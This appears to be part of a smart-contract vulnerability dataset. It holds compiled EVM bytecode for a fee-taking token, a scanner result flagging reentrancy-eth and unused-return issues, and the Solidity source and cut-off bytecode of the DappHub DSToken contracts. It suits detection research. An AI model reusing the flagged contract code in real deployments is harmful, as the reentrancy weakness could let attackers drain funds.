fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906129bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612abd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061297d565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612a3d565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116265750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163e5750600f60179054906101000a900460ff165b156116ee5760105481111561165257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169d57600080fd5b601e426116aa9190612bf3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116f930610752565b9050600f60159054906101000a900460ff161580156117665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177e5750600f60169054906101000a900460ff165b156117a65761178c81611985565b600047905060008111156117a4576117a34761181c565b5b505b505b6117b3838383611c0d565b505050565b6000838311158290611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7919061295b565b60405180910390fd5b506000838561180f9190612cd4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186c600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611897573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118e8600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611913573d6000803e3d6000fd5b5050565b600060085482111561195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061299d565b60405180910390fd5b6000611968611c67565b905061197d8184611c1d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119bd576119bc612ea9565b5b6040519080825280602002602001820160405280156119eb5781602001602082028036833780820191505090505b5090503081600081518110611a0357611a02612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611aa557600080fd5b505afa158015611ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611add9190612415565b81600181518110611af157611af0612e7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b5830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bbc959493929190612ad8565b600060405180830381600087803b158015611bd657600080fd5b505af1158015611bea573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611c18838383611c92565b505050565b6000611c5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e5d565b905092915050565b6000806000611c74611ec0565b91509150611c8b8183611c1d90919063ffffffff16565b9250505090565b600080600080600080611ca487611f2b565b955095509550955095509550611d0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611de38161203b565b611ded84836120f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e4a9190612abd565b60405180910390a3505050505050505050565b60008083118290611ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9b919061295b565b60405180910390fd5b5060008385611eb39190612c49565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611efc6b033b2e3c9fd0803ce8000000600854611c1d90919063ffffffff16565b821015611f1e576008546b033b2e3c9fd0803ce8000000935093505050611f27565b81819350935050505b9091565b6000806000806000806000806000611f488a600a54600b54612132565b9250925092506000611f58611c67565b90506000806000611f6b8e8787876121c8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611fd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b8565b905092915050565b6000808284611fec9190612bf3565b905083811015612031576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612028906129dd565b60405180910390fd5b8091505092915050565b6000612045611c67565b9050600061205c828461225190919063ffffffff16565b90506120b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61210d82600854611f9390919063ffffffff16565b60088190555061212881600954611fdd90919063ffffffff16565b6009819055505050565b60008060008061215e6064612150888a61225190919063ffffffff16565b611c1d90919063ffffffff16565b90506000612188606461217a888b61225190919063ffffffff16565b611c1d90919063ffffffff16565b905060006121b1826121a3858c611f9390919063ffffffff16565b611f9390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121e1858961225190919063ffffffff16565b905060006121f8868961225190919063ffffffff16565b9050600061220f878961225190919063ffffffff16565b905060006122388261222a8587611f9390919063ffffffff16565b611f9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561226457600090506122c6565b600082846122729190612c7a565b90508284826122819190612c49565b146122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b8906129fd565b60405180910390fd5b809150505b92915050565b60006122df6122da84612b72565b612b4d565b9050808382526020820190508285602086028201111561230257612301612edd565b5b60005b858110156123325781612318888261233c565b845260208401935060208301925050600181019050612305565b5050509392505050565b60008135905061234b816131a1565b92915050565b600081519050612360816131a1565b92915050565b600082601f83011261237b5761237a612ed8565b5b813561238b8482602086016122cc565b91505092915050565b6000813590506123a3816131b8565b92915050565b6000815190506123b8816131b8565b92915050565b6000813590506123cd816131cf565b92915050565b6000815190506123e2816131cf565b92915050565b6000602082840312156123fe576123fd612ee7565b5b600061240c8482850161233c565b91505092915050565b60006020828403121561242b5761242a612ee7565b5b600061243984828501612351565b91505092915050565b6000806040838503121561245957612458612ee7565b5b60006124678582860161233c565b92505060206124788582860161233c565b9150509250929050565b60008060006060848603121561249b5761249a612ee7565b5b60006124a98682870161233c565b93505060206124ba8682870161233c565b92505060406124cb868287016123be565b9150509250925092565b600080604083850312156124ec576124eb612ee7565b5b60006124fa8582860161233c565b925050602061250b858286016123be565b9150509250929050565b60006020828403121561252b5761252a612ee7565b5b600082013567ffffffffffffffff81111561254957612548612ee2565b5b61255584828501612366565b91505092915050565b60006020828403121561257457612573612ee7565b5b600061258284828501612394565b91505092915050565b6000602082840312156125a1576125a0612ee7565b5b60006125af848285016123a9565b91505092915050565b6000806000606084860312156125d1576125d0612ee7565b5b60006125df868287016123d3565b93505060206125f0868287016123d3565b9250506040612601868287016123d3565b9150509250925092565b60006126178383612623565b60208301905092915050565b61262c81612d08565b82525050565b61263b81612d08565b82525050565b600061264c82612bae565b6126568185612bd1565b935061266183612b9e565b8060005b83811015612692578151612679888261260b565b975061268483612bc4565b925050600181019050612665565b5085935050505092915050565b6126a881612d1a565b82525050565b6126b781612d5d565b82525050565b60006126c882612bb9565b6126d28185612be2565b93506126e2818560208601612d6f565b6126eb81612eec565b840191505092915050565b6000612703602383612be2565b915061270e82612efd565b604082019050919050565b6000612726602a83612be2565b915061273182612f4c565b604082019050919050565b6000612749602283612be2565b915061275482612f9b565b604082019050919050565b600061276c601b83612be2565b915061277782612fea565b602082019050919050565b600061278f602183612be2565b915061279a82613013565b604082019050919050565b60006127b2602083612be2565b91506127bd82613062565b602082019050919050565b60006127d5602983612be2565b91506127e08261308b565b604082019050919050565b60006127f8602583612be2565b9150612803826130da565b604082019050919050565b600061281b602483612be2565b915061282682613129565b604082019050919050565b600061283e601783612be2565b915061284982613178565b602082019050919050565b61285d81612d46565b82525050565b61286c81612d50565b82525050565b60006020820190506128876000830184612632565b92915050565b60006040820190506128a26000830185612632565b6128af6020830184612632565b9392505050565b60006040820190506128cb6000830185612632565b6128d86020830184612854565b9392505050565b600060c0820190506128f46000830189612632565b6129016020830188612854565b61290e60408301876126ae565b61291b60608301866126ae565b6129286080830185612632565b61293560a0830184612854565b979650505050505050565b6000602082019050612955600083018461269f565b92915050565b6000602082019050818103600083015261297581846126bd565b905092915050565b60006020820190508181036000830152612996816126f6565b9050919050565b600060208201905081810360008301526129b681612719565b9050919050565b600060208201905081810360008301526129d68161273c565b9050919050565b600060208201905081810360008301526129f68161275f565b9050919050565b60006020820190508181036000830152612a1681612782565b9050919050565b60006020820190508181036000830152612a36816127a5565b9050919050565b60006020820190508181036000830152612a56816127c8565b9050919050565b60006020820190508181036000830152612a76816127eb565b9050919050565b60006020820190508181036000830152612a968161280e565b9050919050565b60006020820190508181036000830152612ab681612831565b9050919050565b6000602082019050612ad26000830184612854565b92915050565b600060a082019050612aed6000830188612854565b612afa60208301876126ae565b8181036040830152612b0c8186612641565b9050612b1b6060830185612632565b612b286080830184612854565b9695505050505050565b6000602082019050612b476000830184612863565b92915050565b6000612b57612b68565b9050612b638282612da2565b919050565b6000604051905090565b600067ffffffffffffffff821115612b8d57612b8c612ea9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bfe82612d46565b9150612c0983612d46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c3e57612c3d612e1c565b5b828201905092915050565b6000612c5482612d46565b9150612c5f83612d46565b925082612c6f57612c6e612e4b565b5b828204905092915050565b6000612c8582612d46565b9150612c9083612d46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cc957612cc8612e1c565b5b828202905092915050565b6000612cdf82612d46565b9150612cea83612d46565b925082821015612cfd57612cfc612e1c565b5b828203905092915050565b6000612d1382612d26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d6882612d46565b9050919050565b60005b83811015612d8d578082015181840152602081019050612d72565b83811115612d9c576000848401525b50505050565b612dab82612eec565b810181811067ffffffffffffffff82111715612dca57612dc9612ea9565b5b80604052505050565b6000612dde82612d46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e1157612e10612e1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131aa81612d08565b81146131b557600080fd5b50565b6131c181612d1a565b81146131cc57600080fd5b50565b6131d881612d46565b81146131e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a81088c805fdfdaa182e9ed8550254b725ee6af8297d4932c0d581b0477de5b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,652
0x79873fa02088aaa0f78564c03073ae75a9ecfe55
pragma solidity ^0.4.21; // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It&#39;s O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } // See <https://github.com/ethereum/EIPs/issues/20>. // This file likely does not meet the threshold of originality // required for copyright to apply. As a result, this is free and // unencumbered software belonging to the public domain. contract ERC20Events { event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); } contract ERC20 is ERC20Events { function totalSupply() public view returns (uint); function balanceOf(address guy) public view returns (uint); function allowance(address src, address guy) public view returns (uint); function approve(address guy, uint wad) public returns (bool); function transfer(address dst, uint wad) public returns (bool); function transferFrom( address src, address dst, uint wad ) public returns (bool); } // Copyright (C) 2015, 2016, 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function DSTokenBase(uint supply) public { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() public view returns (uint) { return _supply; } function balanceOf(address src) public view returns (uint) { return _balances[src]; } function allowance(address src, address guy) public view returns (uint) { return _approvals[src][guy]; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { if (src != msg.sender) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function approve(address guy, uint wad) public returns (bool) { _approvals[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } } // Copyright (C) 2015, 2016, 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSToken is DSTokenBase(0), DSStop { bytes32 public symbol; uint256 public decimals = 18; // standard token precision. override to customize function DSToken(bytes32 symbol_) public { symbol = symbol_; } event Mint(address indexed guy, uint wad); event Burn(address indexed guy, uint wad); function approve(address guy) public stoppable returns (bool) { return super.approve(guy, uint(-1)); } function approve(address guy, uint wad) public stoppable returns (bool) { return super.approve(guy, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function push(address dst, uint wad) public { transferFrom(msg.sender, dst, wad); } function pull(address src, uint wad) public { transferFrom(src, msg.sender, wad); } function move(address src, address dst, uint wad) public { transferFrom(src, dst, wad); } function mint(uint wad) public { mint(msg.sender, wad); } function burn(uint wad) public { burn(msg.sender, wad); } function mint(address guy, uint wad) public auth stoppable { _balances[guy] = add(_balances[guy], wad); _supply = add(_supply, wad); Mint(guy, wad); } function burn(address guy, uint wad) public auth stoppable { if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) { _approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad); } _balances[guy] = sub(_balances[guy], wad); _supply = sub(_supply, wad); Burn(guy, wad); } // Optional token name bytes32 public name = ""; function setName(bytes32 name_) public auth { name = name_; } }
0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014e57806307da68f51461017f578063095ea7b31461019457806313af4035146101ee57806318160ddd1461022757806323b872dd14610250578063313ce567146102c957806340c10f19146102f257806342966c68146103345780635ac801fe1461035757806370a082311461037e57806375f12b21146103cb5780637a9e5e4b146103f85780638da5cb5b1461043157806395d89b41146104865780639dc29fac146104b7578063a0712d68146104f9578063a9059cbb1461051c578063b753a98c14610576578063bb35783b146105b8578063be9a655514610619578063bf7e214f1461062e578063daea85c514610683578063dd62ed3e146106d4578063f2d5d56b14610740575b600080fd5b341561015957600080fd5b610161610782565b60405180826000191660001916815260200191505060405180910390f35b341561018a57600080fd5b610192610788565b005b341561019f57600080fd5b6101d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061088b565b604051808215151515815260200191505060405180910390f35b34156101f957600080fd5b610225600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108bb565b005b341561023257600080fd5b61023a61099d565b6040518082815260200191505060405180910390f35b341561025b57600080fd5b6102af600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109a6565b604051808215151515815260200191505060405180910390f35b34156102d457600080fd5b6102dc610d30565b6040518082815260200191505060405180910390f35b34156102fd57600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d36565b005b341561033f57600080fd5b6103556004808035906020019091905050610e7b565b005b341561036257600080fd5b61037c600480803560001916906020019091905050610e88565b005b341561038957600080fd5b6103b5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ecf565b6040518082815260200191505060405180910390f35b34156103d657600080fd5b6103de610f18565b604051808215151515815260200191505060405180910390f35b341561040357600080fd5b61042f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f2b565b005b341561043c57600080fd5b61044461100d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049157600080fd5b610499611033565b60405180826000191660001916815260200191505060405180910390f35b34156104c257600080fd5b6104f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611039565b005b341561050457600080fd5b61051a6004808035906020019091905050611362565b005b341561052757600080fd5b61055c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061136f565b604051808215151515815260200191505060405180910390f35b341561058157600080fd5b6105b6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611384565b005b34156105c357600080fd5b610617600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611394565b005b341561062457600080fd5b61062c6113a5565b005b341561063957600080fd5b6106416114a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068e57600080fd5b6106ba600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114ce565b604051808215151515815260200191505060405180910390f35b34156106df57600080fd5b61072a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061151d565b6040518082815260200191505060405180910390f35b341561074b57600080fd5b610780600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115a4565b005b60075481565b6107b6336000357fffffffff00000000000000000000000000000000000000000000000000000000166115b4565b15156107c157600080fd5b60008060043591506024359050806000191682600019163373ffffffffffffffffffffffffffffffffffffffff166000357fffffffff00000000000000000000000000000000000000000000000000000000167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19163460003660405180848152602001806020018281038252848482818152602001925080828437820191505094505050505060405180910390a46001600460146101000a81548160ff0219169083151502179055505050565b6000600460149054906101000a900460ff161515156108a957600080fd5b6108b38383611808565b905092915050565b6108e9336000357fffffffff00000000000000000000000000000000000000000000000000000000166115b4565b15156108f457600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9460405160405180910390a250565b60008054905090565b6000600460149054906101000a900460ff161515156109c457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a9c57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610ba857610b27600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836118fa565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610bf1600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836118fa565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7d600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611916565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60065481565b610d64336000357fffffffff00000000000000000000000000000000000000000000000000000000166115b4565b1515610d6f57600080fd5b600460149054906101000a900460ff16151515610d8b57600080fd5b610d